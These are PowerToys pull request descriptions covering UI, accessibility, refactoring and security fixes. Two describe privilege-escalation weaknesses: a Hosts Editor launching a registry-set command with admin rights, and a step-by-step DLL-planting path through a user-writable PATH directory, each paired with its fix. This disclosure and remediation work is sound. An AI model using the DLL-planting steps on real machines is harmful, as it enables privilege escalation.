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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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for new binaries
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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<!-- Provide a more detailed description of the PR, other things fixed,
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## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR prevents paging (<kbd>PgUp</kbd>/<kbd>PgDown</kbd>) in the item
list from selecting non-interactive items (such as separators or section
headers).
It adds `FindSelectableIndex` and `FindSelectableIndexForPageNavigation`
helper methods, which locate the next interactive item in the given
direction. These methods are used to guard paging navigation and to
consolidate related logic elsewhere.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46283
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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## Summary of the Pull Request
This PR fixes missing _Pin to ..._ menu items on app search result.
`MainListPage` reuses `AppListItem` instances from the All Apps page,
but their context menus were being built with the main page provider
context instead of the All Apps provider context.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45848
- [x] Closes: #46285
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
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## Summary of the Pull Request
This PR handles situations when app can crash because a popup control is
being touched before XamlRoot is set.
- Registers message handlers in DockControl only while controls are
loaded.
- Guards the edit-mode TeachingTip until the dock is rooted.
- Sets XamlRoot for dock flyouts and tooltips before showing.
- Ensures that tooltips in DockItemControl are set only after XamlRoot
is explicitly set.
- Unregisteres messages and CenterItems_CollectionChanged when unloaded.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46228
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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- [ ] **Dev docs:** Added/updated
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installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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<!-- Provide a more detailed description of the PR, other things fixed,
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<!-- Enter a brief description/summary of your PR here. What does it
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-->
## Summary of the Pull Request
This PR reduces "blinking" of dock when (any) CmdPal settings changes.
It handles only backdrop, not icons.
- Avoids recreating the acrylic controller when the effective backdrop
parameters have not changed.
- Reuses the transparent backdrop instead of reassigning it during dock
refreshes.
- Cleans up backdrop controllers only when switching backdrop modes or
disposing the window.
- Removes obsolete dock-specific backdrop helper logic now handled
directly in DockWindow.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46308
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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<!-- Provide a more detailed description of the PR, other things fixed,
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<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request adds support for customizing the hotkeys used to
increase and decrease the opacity of pinned windows in the Always On Top
module.
Previously, these shortcuts were hardcoded to use the same modifiers as
the main pin hotkey.
With these changes, users can now independently configure the increase
and decrease opacity shortcuts via the settings UI, and the backend has
been updated to respect and store these new settings.
Another change: If window is not Always On Topped, the opacity change
take no effect, so we should not intercept, we should pass through to
minimize the impact.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [X] Closes: #46391, #46387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
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<!-- Describe how you validated the behavior. Add automated tests
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## Validation Steps Performed
<img width="1184" height="351" alt="image"
src="https://github.com/user-attachments/assets/5d20ffae-9f0c-4ce3-9d85-2ba1efea6301"
/>
<img width="336" height="244" alt="image"
src="https://github.com/user-attachments/assets/a78cc4a3-9eb3-49f1-bbb9-d6db37554e53"
/>
Verified locally that transparency hotkey will not intercept the normal
hotkey in window if Always on top not enabled
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary of the Pull Request
This PR fixes an issue where selecting the **Settings** button on the
What's New page for a new or upgraded installation of PowerToys would
show the Settings application but with a blank contents page instead of
the Home page.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46202
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
When the current version of PowerToys doesn't match the
`last_version_run`, the What's New (SCOOBE) page is displayed. The
Settings page is loaded at the same time in a hidden state.
If the user selects the Settings button in the bottom-left of the What's
New page, `OpenSettingsItem_Tapped()` is called, which calls:
```csharp
App.OpenSettingsWindow();
```
This unhides the Settings window, but Settings has not navigated to an
initial page, resulting in a blank display.
The solution is to instead call:
```csharp
App.OpenSettingsWindow(ensurePageIsSelected: true);
```
## Validation Steps Performed
Manual tests, following the instructions given in the original issue,
i.e. setting the `last_version_run` JSON manually and retrying to
simulate the upgrade/new install.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes focus management in the Command Palette Extensions settings page.
After user moves through the extension list, when using Shift or
Shift+Tab to navigate into the extensions list, focus now properly
returns to the previously selected extension card instead of jumping to
the first item or end of the list.
This is part of the a11y bug batch.
User Impact:
Keyboard-only and assistive-technology users may lose context and
experience confusion due to unexpected focus movement, increasing
navigation effort and reducing usability of the Extensions page.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/2ebe25e4-015d-4804-8ae9-9a0107f39b8e
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
With this skills, we can easily enable AI to complete most of the tasks
involved in migrating from WPF to WinUI3.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46464
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes PowerToys Run crash (`FileNotFoundException` for
`PowerDisplay.Lib.dll`) caused by `Settings.UI.Library` having a
transitive dependency on `PowerDisplay.Lib`.
`SettingsSerializationContext` registered PowerDisplay profile types
(`PowerDisplayProfile`, `PowerDisplayProfiles`, `ProfileMonitorSetting`)
via `[JsonSerializable]` attributes, which forced the CLR to load
`PowerDisplay.Lib.dll` at startup. PowerToys Run depends on
`Settings.UI.Library` but does not ship `PowerDisplay.Lib.dll`, causing
the crash.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46261
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
## Summary of the Pull Request
Extracts persistence (load/save) logic from `SettingsModel` and
`AppStateModel` into dedicated service classes, following the
single-responsibility principle. Consumers now interact with
`ISettingsService` and `IAppStateService` instead of receiving raw model
objects through DI.
**New services introduced:**
- `IPersistenceService` / `PersistenceService` — generic `Load<T>` /
`Save<T>` with AOT-compatible `JsonTypeInfo<T>`, ensures target
directory exists before writing
- `ISettingsService` / `SettingsService` — loads settings on
construction, runs migrations, exposes `Settings` property and
`SettingsChanged` event
- `IAppStateService` / `AppStateService` — loads state on construction,
exposes `State` property and `StateChanged` event
**Key changes:**
- `SettingsModel` and `AppStateModel` are now pure data models — all
file I/O, migration, and directory management removed
- Raw `SettingsModel` and `AppStateModel` removed from DI container;
consumers receive the appropriate service
- `IApplicationInfoService.ConfigDirectory` injected into services for
config path resolution (no more hardcoded `Utilities.BaseSettingsPath`)
- ~30 consumer files updated across `Microsoft.CmdPal.UI.ViewModels` and
`Microsoft.CmdPal.UI` projects
- All `#pragma warning disable SA1300` suppressions removed —
convenience accessors replaced with direct `_settingsService.Settings` /
`_appStateService.State` access
- Namespace prefixes (`Services.ISettingsService`) replaced with proper
`using` directives
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already.
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** N/A — no end-user-facing strings changed
- [ ] **Dev docs:** N/A — internal refactor, no public API changes
- [ ] **New binaries:** N/A — no new binaries introduced
## Detailed Description of the Pull Request / Additional comments
### Architecture
Services are registered as singletons in `App.xaml.cs`:
```csharp
services.AddSingleton<IPersistenceService, PersistenceService>();
services.AddSingleton<ISettingsService, SettingsService>();
services.AddSingleton<IAppStateService, AppStateService>();
```
`PersistenceService.Save<T>` writes the serialized model directly to
disk, creating the target directory if it doesn't exist. It also does
not attempt to merge existing and new settings/state. `SettingsService`
runs hotkey migrations on load and raises `SettingsChanged` after saves.
`AppStateService` always raises `StateChanged` after saves.
### Files changed (41 files, +1169/−660)
| Area | Files | What changed |
|------|-------|-------------|
| New services | `Services/IPersistenceService.cs`,
`PersistenceService.cs`, `ISettingsService.cs`, `SettingsService.cs`,
`IAppStateService.cs`, `AppStateService.cs` | New service interfaces and
implementations |
| Models | `SettingsModel.cs`, `AppStateModel.cs` | Stripped to pure
data bags |
| DI | `App.xaml.cs` | Service registration, removed raw model DI |
| ViewModels | 12 files | Constructor injection of services |
| UI | 10 files | Service injection replacing model access |
| Settings | `DockSettings.cs` | `Colors.Transparent` replaced with
struct literal to avoid WinUI3 COM dependency |
| Tests | `PersistenceServiceTests.cs`, `SettingsServiceTests.cs`,
`AppStateServiceTests.cs` | 38 unit tests covering all three services |
| Config | `.gitignore` | Added `.squad/`, `.github/agents/` exclusions
|
## Validation Steps Performed
- Built `Microsoft.CmdPal.UI` with MSBuild (x64/Debug) — exit code 0,
clean build
- Ran 38 unit tests via `vstest.console.exe` — all passing
- Verified no remaining `#pragma warning disable SA1300` blocks
- Verified no remaining `Services.` namespace prefixes
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a screen reader accessibility issue where the Alias TextBox in the
ExtensionPage settings was announcing "Enter Alias" as its accessible
name instead of just "Alias", making it confusing for users relying on
assistive technology.
This is part of the a11y bug batch.
User Impact:
Duplicate announcements can confuse users, increase cognitive load, and
slow down interaction for users relying on assistive technologies.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/3a676226-0b07-4e60-b2d8-99ae46ff5b64
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add audio text about shortcut key for settings on the settings button
This is part of the a11y bug batch.
User Impact:
Users relying on assistive technologies may be unaware of shortcut keys,
reducing efficiency and making it harder to use the Command Palette
effectively.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/5a5f16dc-52f7-4e9d-85db-173eddba5d6d
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Related: #46220
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
**This is a security issue fix**
In Hosts Editor module, we support to open the hosts file through user's
default editor.
The way to find the editor is that we will read a registry key and use
the value as a parameter to call Process.Start.
In most case, it works well. But Hosts editor module will launch as
admin permission. But the registry value can be modified in user 's
permission (without UAC request).
So, the malware may change the registry value and if user click the open
button. May call the dangerous command which written in registry.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46195
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Attack vector:
1. user install per machine installer
2. Open an elevated command prompt and verify the newly added PowerToys
PATH entry
3. Inspect the ACL on the DSCModules directory an observe that the
"Authenticated Users" group have inherited Modify permissions
4. Log in as a low-privileged (non-admin) user and confirm that you can
create or modify files in C:\\PowerToys\\DSCModules\. This confirms that
a non-admin user can plant arbitrary DLLs in a system PATH directory.
5. The attacker identifies a DLL that a privileged process (e.g., a
system service or an application running as a different,
higher-privileged user) attempts to load via the standard DLL search
order. The attacker crafts a malicious DLL with the same name and places
it in C:\\PowerToys\\DSCModules.
The fix is to:
* Hardening the PowerToys DSC directory for per-machine custom installs
with correct ACL enforced with wix.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<img width="836" height="449" alt="image"
src="https://github.com/user-attachments/assets/f21a814c-6514-4a86-b214-0984653aaab4"
/>
After upgrade, the ACL:
Path : Microsoft.PowerShell.Core\FileSystem::C:\apps\Power
Toys\DSCModules
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadAndExecute, Synchronize
Audit :
Sddl :
O:SYG:SYD:P(A;OICIIO;GA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;0x1200a9;;;BU)
---------
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <dustin@howett.net>
Currently, if you resize a window opened from the dock (i.e. performance
monitor commands) then exit CmdPal, the resized "size" persists on
normal hotkey opens. This change tells CmdPal to revert the size when
opened and only save the size on normal window close.
Fixes#45591
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
